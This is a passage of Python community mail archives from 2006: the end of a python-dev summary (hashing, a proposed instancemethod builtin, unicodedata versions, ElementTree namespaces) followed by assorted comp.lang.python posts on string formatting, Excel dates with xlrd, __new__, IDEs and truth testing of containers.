
    def __hash__(self):
        return id(self)

Though it has long been documented that the result of ``id()`` is not suitable as a hash value, code like this is apparently common.  So Martin v. Lowis and Armin arranged for ``PyLong_Type.tp_hash`` to be called in the code for ``hash()``.

Contributing thread:

- `returning longs from __hash__() <http://mail.python.org/pipermail/python-dev/2006-August/068043.html>`__

----------------------
instancemethod builtin
----------------------

Nick Coghlan suggested adding an ``instancemethod()`` builtin along the lines of ``staticmethod()`` and ``classmethod()`` which would allow arbitrary callables to act more like functions.  In particular, Nick was considering code like::

    class C(object):
        method = some_callable

Currently, if ``some_callable`` did not define the ``__get__()`` method, ``C().method`` would not bind the ``C`` instance as the first argument.  By introducing ``instancemethod()``, this problem could be solved like::

    class C(object):
        method = instancemethod(some_callable)

There wasn't much of a reaction one way or another, so it looked like the idea would at least temporarily be shelved.

Contributing thread:

- `2.6 idea: a 'function' builtin to parallel classmethod and staticmethod <http://mail.python.org/pipermail/python-dev/2006-August/068189.html>`__

--------------------------------
Unicode versions and unicodedata
--------------------------------

Armin Ronacher noted that Python 2.5 implements Unicode 4.1 but while a ucd_3_2_0 object is available (implementing Unicode 3.2), no ucd_4_1_0 object is available.  Martin v. Lowis explained that the ucd_3_2_0 object is only available because IDNA needs it, and that there are no current plans to expose any other Unicode versions (and that ucd_3_2_0 may go away when IDNA no longer needs it).

Contributing thread:

- `Unicode Data in Python2.5 is missing a ucd_4_1_0 object <http://mail.python.org/pipermail/python-dev/2006-August/068126.html>`__

--------------------------
Elementtree and Namespaces
--------------------------

Elements (and attributes) can be associated with a namespace, such as

    http://www.w3.org/XML/1998/namespace:id

The xmlns attribute creates a "prefix" (alias) for a namespace, so that you can abbreviate the above as

    xml:id

ElementTree treats the prefix as a just an aid to human readers, and creates its own abbreviations that are consistent throughout a document.  Some tools (including w3 recommendations for canonicalization) treat the prefix itself as meaningful.

Elementtree may support this in version 1.3, but it wasn't going to be there in time for 2.5, and it wasn't judged important enough to keep etree out of the release.

If you need it sooner, then http://codespeak.net/lxml supports the etree API and does retain prefixes.

Contributing thread:

- `Elementtree and Namespaces in 2.5 <http://mail.python.org/pipermail/python-dev/2006-August/068171.html>`__

[Thanks to Jim Jewett for this summary.]


==================
Previous Summaries
==================
- `Release manager pronouncement needed: PEP 302 Fix <http://mail.python.org/pipermail/python-dev/2006-August/068050.html>`__


===============
Skipped Threads
===============
- `clock_gettime() vs. gettimeofday()? <http://mail.python.org/pipermail/python-dev/2006-August/067879.html>`__
- `Strange memo behavior from cPickle <http://mail.python.org/pipermail/python-dev/2006-August/067881.html>`__
- `internal weakref API should be Py_ssize_t? <http://mail.python.org/pipermail/python-dev/2006-August/067885.html>`__
- `Weekly Python Patch/Bug Summary <http://mail.python.org/pipermail/python-dev/2006-August/067888.html>`__
- `Releasemanager, please approve #1532975 <http://mail.python.org/pipermail/python-dev/2006-August/067889.html>`__
- `FW: using globals <http://mail.python.org/pipermail/python-dev/2006-August/067892.html>`__
- `TRUNK FREEZE 2006-07-03, 00:00 UTC for 2.5b3 <http://mail.python.org/pipermail/python-dev/2006-August/067898.html>`__
- `segmentation fault in Python 2.5b3 (trunk:51066) <http://mail.python.org/pipermail/python-dev/2006-August/067921.html>`__
- `using globals <http://mail.python.org/pipermail/python-dev/2006-August/067947.html>`__
- `uuid module - byte order issue <http://mail.python.org/pipermail/python-dev/2006-August/067948.html>`__
- `RELEASED Python 2.5 (beta 3) <http://mail.python.org/pipermail/python-dev/2006-August/067959.html>`__
- `TRUNK is UNFROZEN <http://mail.python.org/pipermail/python-dev/2006-August/067961.html>`__
- `2.5 status <http://mail.python.org/pipermail/python-dev/2006-August/067963.html>`__
- `Python 2.5b3 and AIX 4.3 - It Works <http://mail.python.org/pipermail/python-dev/2006-August/067985.html>`__
- `More tracker demos online <http://mail.python.org/pipermail/python-dev/2006-August/067996.html>`__
- `need an SSH key removed <http://mail.python.org/pipermail/python-dev/2006-August/067999.html>`__
- `BZ2File.writelines should raise more meaningful exceptions <http://mail.python.org/pipermail/python-dev/2006-August/068005.html>`__
- `test_mailbox on Cygwin <http://mail.python.org/pipermail/python-dev/2006-August/068006.html>`__
- `cgi.FieldStorage DOS (sf bug #1112549) <http://mail.python.org/pipermail/python-dev/2006-August/068011.html>`__
- `2.5b3, commit r46372 regressed PEP 302 machinery (sf not letting me post) <http://mail.python.org/pipermail/python-dev/2006-August/068012.html>`__
- `free(): invalid pointer <http://mail.python.org/pipermail/python-dev/2006-August/068042.html>`__
- `should i put this on the bug tracker ? <http://mail.python.org/pipermail/python-dev/2006-August/068045.html>`__
- `Is this a bug? <http://mail.python.org/pipermail/python-dev/2006-August/068076.html>`__
- `httplib and bad response chunking <http://mail.python.org/pipermail/python-dev/2006-August/068087.html>`__
- `cgi DoS attack <http://mail.python.org/pipermail/python-dev/2006-August/068092.html>`__
- `DRAFT: python-dev summary for 2006-07-01 to 2006-07-15 <http://mail.python.org/pipermail/python-dev/2006-August/068098.html>`__
- `SimpleXMLWriter missing from elementtree <http://mail.python.org/pipermail/python-dev/2006-August/068106.html>`__
- `DRAFT: python-dev summary for 2006-07-16 to 2006-07-31 <http://mail.python.org/pipermail/python-dev/2006-August/068136.html>`__
- `Is module clearing still necessary? [Re: Is this a bug?] <http://mail.python.org/pipermail/python-dev/2006-August/068146.html>`__
- `PyThreadState_SetAsyncExc bug? <http://mail.python.org/pipermail/python-dev/2006-August/068158.html>`__
- `Errors after running make test <http://mail.python.org/pipermail/python-dev/2006-August/068176.html>`__
- `What is the status of file.readinto? <http://mail.python.org/pipermail/python-dev/2006-August/068188.html>`__
- `Recent logging spew <http://mail.python.org/pipermail/python-dev/2006-August/068196.html>`__
- `[Python-3000] Python 2.5 release schedule (was: threading, part 2) <http://mail.python.org/pipermail/python-dev/2006-August/068199.html>`__
- `test_socketserver failure on cygwin <http://mail.python.org/pipermail/python-dev/2006-August/068216.html>`__
- `ANN: byteplay - a bytecode assembler/disassembler <http://mail.python.org/pipermail/python-dev/2006-August/068225.html>`__
- `Arlington VA sprint on Sept. 23 <http://mail.python.org/pipermail/python-dev/2006-August/068226.html>`__
- `IDLE patches - bugfix or not? <http://mail.python.org/pipermail/python-dev/2006-August/068266.html>`__
- `Four issue trackers submitted for Infrastructue Committee's tracker search <http://mail.python.org/pipermail/python-dev/2006-August/068287.html>`__




========
Epilogue
========

This is a summary of traffic on the `python-dev mailing list`_ from
August 01, 2006 through August 15, 2006.
It is intended to inform the wider Python community of on-going
developments on the list on a semi-monthly basis.  An archive_ of
previous summaries is available online.

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This python-dev summary is the 10th written by 
Steve Bethard. 

To contact me, please send email:

- Steve Bethard (steven.bethard at gmail.com)

Do *not* post to comp.lang.python if you wish to reach me.

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--------------------
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--------------------

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-------------------------

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From maxm at mxm.dk  Tue Oct 10 08:20:38 2006
From: maxm at mxm.dk (Max M)
Date: Tue, 10 Oct 2006 14:20:38 +0200
Subject: OT: Sarcasm and irony
In-Reply-To: <mailman.202.1160476890.11739.python-list@python.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>	<4out4fFgdgouU1@individual.net>
	<4ov1acFgfmpmU1@uni-berlin.de>	<4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>	<egfkeh$a45$1@sea.gmane.org>	<mailman.189.1160470256.11739.python-list@python.org>	<452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>
	<mailman.202.1160476890.11739.python-list@python.org>
Message-ID: <452b9017$0$14045$edfadb0f@dread15.news.tele.dk>

bryan rasmussen skrev:

> Well irony originally started out as a very specific concept of the
> Ancient Greek drama, this is what we nowadays refer to as Dramatic
> Irony but it is the original irony. Irony then became a literary
> concept for plot elements similar to Dramatic irony in books, or a
> weaker type of the Dramatic irony found in the plays of Shakespeare.
> People then noticed that life was at times ironic in the literary
> manner.

Yes and in Rome "salary" meant getting a bag of salt. Concepts changes.


> Nowadays the use of the word irony has degenerated to by
> pretty much synonymous with sarcasm.

As a Dane that is a Chronic Ironic, I beg to differ.

In Denmark at least there is a lot of difference between irony and 
sarcasm. Irony is the main form of humor here, and danes takes to it 
easily. People being sarcastic we don't much like.

But I guess that it can be hard to se the difference for someone not 
used to irony.

I believe the reason that irony works here is that we have such a 
homogenous society. Somewhere like the US where the cultural differences 
are larger, it is probably a lot harder for irony to be taken as such 
and not as sarcasm.


-- 

hilsen/regards Max M, Denmark

http://www.mxm.dk/
IT's Mad Science


From bj_666 at gmx.net  Thu Oct  5 06:52:13 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 05 Oct 2006 12:52:13 +0200
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
Message-ID: <pan.2006.10.05.10.52.12.15921@gmx.net>

In <mailman.1336.1160044062.10491.python-list at python.org>, Matthew Warren
wrote:

> I learned over the years to do things like the following, and I like
> doing it like this because of readability, something Python seems to
> focus on :-
> 
> Print "There are "+number+" ways to skin a "+furryanimal
> 
> But nowadays, I see things like this all over the place;
> 
> print("There are %s ways to skin a %s" % (number, furryanimal))
> 
> Now I understand there can be additional formatting benefits when
> dealing with numbers, decimal places etc.. But to me, for strings, the
> second case is much harder to read than the first.

For me it's the other way around -- I find the second one more readable
especially without syntax highlighting to see which characters are inside
and which are outside the quotes.

With the second one there's a clear visual separation of the string
literal and the variables, even without colors.

Another advantage of the second way is much easier localization and other
tasks where the sentence itself is not hardcoded but read from files,
databases, etc.

And the '%s' automatically converts the objects to strings.  The
equivalent to the second example without string formatting would be::

  print 'There are' + str(number) + ' ways to skin a ' + str(furryanimal)

Ciao,
	Marc 'BlackJack' Rintsch


From richardjones at optushome.com.au  Sun Oct  1 23:02:51 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Mon, 02 Oct 2006 13:02:51 +1000
Subject: Simple but fast 2D lib for drawing pixels
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
	<1159706488.576589.82080@i3g2000cwc.googlegroups.com>
	<4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>
Message-ID: <4520815b$0$28952$afc38c87@news.optusnet.com.au>

Peter Mexbacher wrote:
> We thought Python would make a good choice for
> a first language; but where pretty stumped when
> we found out that there is no simple way to draw
> pixels to a screen. (This is needed for fractals,
> agent-based models etc -> like Conways Game of Life)
> [snip]
> -) easy to learn (newbs!)
> -) not too slow (after all, the models should simulate something)
> -) python :-)

http://www.pygame.org/ - it's not just for games :)

It'll do what you want (put pixels on the screen) easily. It'll even let you
work with numeric arrays and then put those arrays on screen. Sign up to
the pygame users list to ask more questions - they're always a helpful,
friendly bunch.


    Richard



From sjmachin at lexicon.net  Fri Oct  6 08:13:35 2006
From: sjmachin at lexicon.net (John Machin)
Date: 6 Oct 2006 05:13:35 -0700
Subject: TypeError: unsupported type for timedelta days component: unicode
References: <1160135247.133780.96690@m73g2000cwd.googlegroups.com>
Message-ID: <1160136815.138846.157910@b28g2000cwb.googlegroups.com>

kath wrote:
> Hi,
>
> the following shows the contents of "datebook.xls"
>
> Date
> 8/9/2006
> 8/9/2006
> 8/9/2006
> 8/9/2006
> 8/9/2006
>
> # read_date.py
> import xlrd
>
> book = xlrd.open_workbook("datebook.xls")
> sh = book.sheet_by_index(0)
> ex_qdate=sh.cell_value(rowx=1,colx=0)
> pyd=datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=1,colx=0))

############################
Go back and read *ALL* the responses to your previous question. The
above is *INCORRECT*. As you can see, for input of 8/9/2006 (M/D/YYYY
format), it produces 2006-08-11.
*Please* read the sections on Excel dates in the xlrd documentation.
############################

> print pyd
>
> for c in range(sh.ncols):
>     for r in range(sh.nrows):
>         print sh.cell_value(rowx=r,colx=c)

Problem 1: you are including the heading.
Add this in here:
           print "row %d, col %d, cell_type %d" % (r, c,
sh.cell_type(r, c))
and that might give you a clue.

>         print
> datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c))

Maybe Problem 2: your posting seems to be missing indentation on this
line.

>
> ---- Output ----
> >>>
> 2006-08-11
> Date
> Traceback (most recent call last):
>   File "D:/Python23/Testing area/Python and Excel/read_date.py", line

How do you manage to get both "D:" and "/" in a path? Which version of
which OS are you running?

Why are you using Python 2.3?

Why are you keeping your own files in a subdirectory of your Python
installation?

> 12, in ?
>     print
> datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c))
> TypeError: unsupported type for timedelta days component: unicode
> >>>
>
> The first print statement gives me desired output. Whats wrong with
> second print statement?
> When I give the discriptor or index explicitly its giving the correct
> answer.
> Why not in the loop?

As explained above.

>
> Am I wrong some where?

I think that's not an reasonable conclusion :-)

HTH,
John



From fredrik at pythonware.com  Mon Oct 23 02:57:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 08:57:49 +0200
Subject: Arrays? (Or lists if you prefer)
In-Reply-To: <1161585837.292211.233680@i42g2000cwa.googlegroups.com>
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>	<QCV_g.1097$GR2.1089@tornado.texas.rr.com>
	<1161585837.292211.233680@i42g2000cwa.googlegroups.com>
Message-ID: <ehhp5c$gs2$2@sea.gmane.org>

Hakusa at gmail.com wrote:

> Interesting. Could I do . . . let's say
> 
> b = [range(range(3)]
> 
> for a three-dimensional array?

 >>> [range(range(3))]
Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got list.

if your mail program is easier to reach than your Python interpreter 
window, something's wrong with your setup.

</F>



From deets at nospam.web.de  Thu Oct 19 20:13:58 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 20 Oct 2006 02:13:58 +0200
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <1161298362.722062.265520@i3g2000cwc.googlegroups.com>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
	<4ppla2Fit83qU1@uni-berlin.de>
	<1161298362.722062.265520@i3g2000cwc.googlegroups.com>
Message-ID: <4pqim4Fjtbv4U1@uni-berlin.de>

WakeBdr schrieb:
> Diez,
>      What does the function._marked accomplish?

Its a decorator that tells the metaclass which functions to provide with 
a *XML/*FOO variant as well. I thought that was pretty obvious, given 
the name "mark" and all that.

Diez


From mail at microcorp.co.za  Tue Oct 24 01:59:02 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 24 Oct 2006 07:59:02 +0200
Subject: Rabbit Modules - Dynamic C - Python
References: <1161634614.172031.156720@h48g2000cwc.googlegroups.com>
Message-ID: <021a01c6f734$cd814900$03000080@hendrik>

"Picio" <picioslug at gmail.com> wrote:


> Hello,
> I would wonder if anyone knows something about programming with
> Python, Rabbit Core Modules, that normally were programmed with Dynamic
> C.
>
> I mean either:
> - something like using python to create code in dynamic suitable for
> the rabbit core
> - writing machine code for the rabbit core using a python API.
>
> Sorry if I'm not using the rights technicals words.
>
> Picio

if I remember correctly, the rabbit is a modified z180, which is a modified z80,
which is a descendant of the 8080...

so it should be possible - however, the average ram memory in a rabbit module
will probably not support Python - it is unlikely that there will be enough for
the Object Orientation that Python brings....

- Hendrik



From stugots at qwest.net  Sat Oct 14 13:35:38 2006
From: stugots at qwest.net (John DeRosa)
Date: Sat, 14 Oct 2006 10:35:38 -0700
Subject: SPE for 2.5?
References: <NJQXg.106$1n3.2880@news.tufts.edu>
	<1160786472.050255.306850@e3g2000cwe.googlegroups.com>
Message-ID: <mt72j2piof9ncasa7ijpk6bj9v4aceuu7t@4ax.com>

On 13 Oct 2006 17:41:12 -0700, "Fuzzyman" <fuzzyman at gmail.com> wrote:

>
>John Salerno wrote:
>> Does anyone know if SPE is compatible with Python 2.5? I don't see a
>> Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.
>>
>
>Certainly worth trying the 2.4 version, but it's true that there hasn't
>been an uupdate of SPE for a long time.
>
>Shame as it is a *very* nice IDE, but it had too many quirks (with
>little chance of them being fixed it seemed) to use it for commercial
>development at Resolver.

+1.  It's been moribund for about 3/4 of a year now.  I'm nearing the
point of switching to something else.


From buzzard at urubu.freeserve.co.uk  Sat Oct  7 21:16:49 2006
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Sun, 08 Oct 2006 02:16:49 +0100
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160267115.309599.26160@e3g2000cwe.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
Message-ID: <45285588.0@entanet>

MonkeeSage wrote:
> 
> On Oct 7, 7:14 pm, Duncan Smith <buzz... at urubu.freeserve.co.uk> wrote:
> 
>>No.  The above constructs a list of keys and searches the list for the
>>key, O(n).  "key in somedict" is a lookup, O(1).
> 
> 
> My point wasn't in regard to implementation details, but in regard to
> convenience methods. Obviously the sugary dict methods are tweaked for
> the best performance (one would hope!), as would be sugary sequence
> methods were they to be added. What I was wondering is why
> dict.has_key() and get() are there but not list.has_index() and get().
> 
> Regards,
> Jordan
> 

All I can say is that, I personally, would have little use for those
list methods.  Those involved in the design of the language will no
doubt have much better reasons than this.

Duncan


From anthonybaxter at gmail.com  Sun Oct 22 00:50:54 2006
From: anthonybaxter at gmail.com (Anthony Baxter)
Date: Sun, 22 Oct 2006 14:50:54 +1000
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <1161491991.010112.65630@k70g2000cwa.googlegroups.com>
References: <mailman.915.1161491089.11739.python-list@python.org>
	<1161491991.010112.65630@k70g2000cwa.googlegroups.com>
Message-ID: <e69d3ed20610212150t239fc51di1dafea3523aca151@mail.gmail.com>

On 21 Oct 2006 21:39:51 -0700, casevh at comcast.net <casevh at comcast.net> wrote:
> mingw32 is supported and can compile many extensions. See the following
> post:
>
> http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9
>
> If you meant something else with your comment, please explain.

That's for Python 2.4. I'm not sure it works the same way with Python
2.5. If someone has information to the contrary, it would be excellent
to get confirmation and the steps that are necessary...


From rNOSPAMon at flownet.com  Sat Oct 21 13:31:25 2006
From: rNOSPAMon at flownet.com (Ron Garret)
Date: Sat, 21 Oct 2006 10:31:25 -0700
Subject: Why doesn't this work?
References: <rNOSPAMon-00D0BD.09381721102006@news.gha.chartermi.net>
	<453A507E.4070602@websafe.com>
Message-ID: <rNOSPAMon-016432.10312521102006@news.gha.chartermi.net>

In article <453A507E.4070602 at websafe.com>,
 Larry Bates <larry.bates at websafe.com> wrote:

> Because datetime is a new-style class:

Ah.

> The Constructor __new__
> 
> If you are like me, then you probably always thought of the __init__ method 
> as
> the Python equivalent of what is called a constructor in C++. This isn't the
> whole story.
> 
> When an instance of a class is created, Python first calls the __new__ method 
> of
> the class. __new__ is a static method that is called with the class as its 
> first
> argument. __new__ returns a new instance of the class.
> 
> The __init__ method is called afterwards to initialize the instance. In some
> situations (think "unplickling"!), no initialization is performed. Also,
> immutable types like int and str are completely constructed by the __new__
> method; their __init__ method does nothing. This way, it is impossible to
> circumvent immutability by explicitly calling the __init__ method after
> construction.
> 
> 
> I think what you wanted was:
> 
> >>> class ts(datetime):
> ... 	def __new__(self): pass
> ... 	
> >>> a=ts()
> 
> -Larry

Thanks!

rg


From deets at nospam.web.de  Tue Oct 10 10:18:04 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 10 Oct 2006 16:18:04 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de>
	<452b9ec5$0$30991$426a74cc@news.free.fr>
Message-ID: <4p1ocsFge1f1U1@uni-berlin.de>

Christophe wrote:

> Diez B. Roggisch a ?crit :
>> The code _generated_ by the java compiler, and the C++ compiler, is not
>> the issue here. If you as a programmer can write "a" + "b", its fine.
>> Which is a thing to reach in C++, a bazillion of string-classes have been
>> written....
>> 
>> 
>> and in C++, you can do:
>> 
>> char *a = "1";
>> char *b = "2";
>> char *c = a + b;
>> 
>> But with a totally different, unexpected outcome.. I know where *I* start
>> laughing here.
> 
> That code doesn't even compile. And you shouldn't be using the char*
> compatibility strings in C++ if possible.

It was out of my head. I remember producing some wicked pointer arithmetic
example of similar ridicule. 

And the whole argument is about java having a lot of design decisions that
make it easier to work with is actually strengthened when you say that "you
shouldn't use the char* ..." - because its not forbidden, and maybe someone
else didn't follow that suggestion. I remember quite a few times calling
the stl-string-to-char-function (no idea how that is called now)

Diez


From sjdevnull at yahoo.com  Fri Oct 13 18:40:13 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 13 Oct 2006 15:40:13 -0700
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <1160779213.761906.285630@k70g2000cwa.googlegroups.com>

Ahmer wrote:
> What do you guys use?
vim

> What platform(s) is it avalable on?

Windows, Unix/Linux, Mac, Amiga, others

> How much does it cost?

Free, and the source is open too.

> Why?
> What do you like and hate about it?

Like:

Built-in python interpreter so you can do any editor customizations in
Python
Good multilanguage support (Python, but also C, C++, Java, HTML, XML,
SQL, and dozens of others)
FAST
Good code navigation via smart tags
Does intelligent completion of module members, methods, etc
Python syntax checking on the fly (e.g. typing "if a=1:" and hitting
enter flags the error immediately)
Class browsing support (whatever I'm editing, there's a class menu to
either pop up to the parent(s), down to children, or jump around
various methods within the class)
Automatically show function/method docstrings/leading comments (and
documentation for standard functions), synopsis in the status bar or
full text in a popup window if you hit F1
Configurable project support so for large projects it is smart about
which parts of the source tree might be relevant to what I'm working on
right now
Runs in text-mode or GUI, so I can use the same editor making quick
edits over ssh that I use in my on-desktop development

Hate:
Required a lot of customization to get all of the above



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 03:23:49 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 17:23:49 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<slrnek4gru.2e3.apardon@rcpc42.vub.ac.be>
Message-ID: <pan.2006.10.28.07.23.48.586872@REMOVE.THIS.cybersource.com.au>

On Fri, 27 Oct 2006 17:35:58 +0000, Antoon Pardon wrote:

> On 2006-10-27, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> 
>> But in this specific instance, I don't see any advantage to explicitly
>> testing the length of a list. Antoon might think that is sufficiently
>> polymorphic, but it isn't. He cares whether the object has zero _length_,
>> but for true polymorphism, he should be caring about whether the object is
>> _empty_. Not all empty objects have zero length, or even a length at all.
>> (E.g. binary trees.) That's why Python classes can use a __nonzero__
>> method, falling back on __len__ only if __nonzero__ is not defined.
> 
> Nobody can force you to write a container class that also provides a
> __len__ method. But if you don't provide one then IMO it is your class
> that deviates from standard practice. Mathematically, sets and
> directories have no length either, yet the len function does provide
> an answer if you give it a set or directory as an argument.

Do you mean dictionary?

Dictionaries, a.k.a. hash tables, aren't a standard mathematical data
type. Even if they were, they have two "lengths" (size really): the size
of the table, and the number of items in the table. In a high level
language like Python, you don't care about the size of the table (since it
will, I believe, automatically grow dynamically if you need it to), so
number of items is the only "size" (length) you could care about.


> So
> it seems that python has generalised the len function to provide
> the number of elements in the container. 

Sure. But what about a container where the number of elements isn't
well-defined, e.g. iterators? Or something like a binary tree, where
counting the number of items is relatively expensive, but telling whether
it is empty or not is cheaper than dirt?

Here's a real example: it can be expensive to count the number of files in
a directory -- on my PC, it takes almost a third of a second to count a
mere 15,000 files in a single directory. (There may be a more sensible
way of counting the number of files under Linux than ls | wc -l, but if
so I don't know it.) But why slog through 15,000 files if all you need to
know is if the directory is empty or not? As soon as you see one file, you
know it isn't empty. Stop counting! Who cares whether there is one file or
15,000 files?


 
> I have written a Tree class(*). It can be used as a drop in replacement
> anywhere where a directory is used, as long as there is a full order
> relationship in the key domain. That tree class provides a __len__
> method that will anser with the number of items in the tree just
> as a directory would and I see nothing wrong with that.

And I'm happy for you. But imagine a container object that maps a URL to
some piece of data fetched from the Internet. Counting the size of the
Internet is infeasible -- even if you were willing to try, it could take
*weeks* of computation to determine! But one can certainly tell if there
is an Internet out there or not. Such an object would always be True,
unless you had lost network connectivity.

My container object will work perfectly well with "if internet" but not
with "if len(internet) > 0". You could even iterate over it, sort
of, by following links from one site to another.

But why are you checking the length of a container before iterating over
it? If you are writing something like this:

if len(container) != 0:
    for item in container:
        do_something()

then just stop it!



> Of course I can't account for all possible ways someone wishes to
> write a class, but I don't see what is wrong with counting on
> the fact that an empty container has a length of zero.

Because you shouldn't assume containers have well-defined lengths unless
you actually care about the length, and you shouldn't assume that length
of zero implies "nothing to see here" unless you *know* that this is the
case. You should leave defining empty up to the container class itself.
Otherwise, you might be right 99 times in a hundred, but that hundredth
time will bite you.


> I can write a container class where the truth value of an object
> is independent of whether or not the object is empty and then
> the "if obj:" idiom will fail to provide true polymorphism too.

A class that deliberate breaks the semantics of Python truth testing just
for the sake of breaking code really is a pathological case. Polymorphism
doesn't mean "will work with anything without exception".


-- 
Steve.



From martin.dion at gmail.com  Mon Oct 30 12:30:35 2006
From: martin.dion at gmail.com (martdi)
Date: 30 Oct 2006 09:30:35 -0800
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
Message-ID: <1162229435.829283.214180@i42g2000cwa.googlegroups.com>


??? wrote:
> Is there any simple way to solve this problem?

>>> myString = "&nbsp;"
>>> myString = myString.replace("&nbsp;", "")



From gh at gregor-horvath.com  Mon Oct 16 01:21:56 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Mon, 16 Oct 2006 07:21:56 +0200
Subject: python's OOP question
In-Reply-To: <1160969393.803021.274070@e3g2000cwe.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
Message-ID: <735bc$453316f5$506c2949$27697@news.chello.at>

neoedmund schrieb:
> python use multiple inheritance.
> but "inheritance" means you must inherite all methods from super type.
> now i just need "some" methods from one type and "some" methods from
> other types,
> to build the new type.
> Do you think this way is more flexible than tranditional inheritance?
> 

Probably your problem is better solved with delegation instead of
inheritance.

-- 
  Servus, Gregor


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 31 18:00:01 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 01 Nov 2006 00:00:01 +0100
Subject: scared about refrences...
In-Reply-To: <1162251429.386255.289620@e3g2000cwe.googlegroups.com>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<1162251429.386255.289620@e3g2000cwe.googlegroups.com>
Message-ID: <4547d0d7$0$7246$426a34cc@news.free.fr>

Nick Vatamaniuc a ?crit :
(snip)
> In  Python all the primitives are copied and all other entities are
> references.

Plain wrong. There's no "primitives" (ie : primitive data types) in 
Python, only objects. And they all get passed the same way.


From steve at holdenweb.com  Tue Oct  3 22:12:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 03:12:05 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7xr6xo97nd.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>
	<7xr6xo97nd.fsf@ruckus.brouhaha.com>
Message-ID: <efv582$6i9$1@sea.gmane.org>

Paul Rubin wrote:
> "Istvan Albert" <istvan.albert at gmail.com> writes:
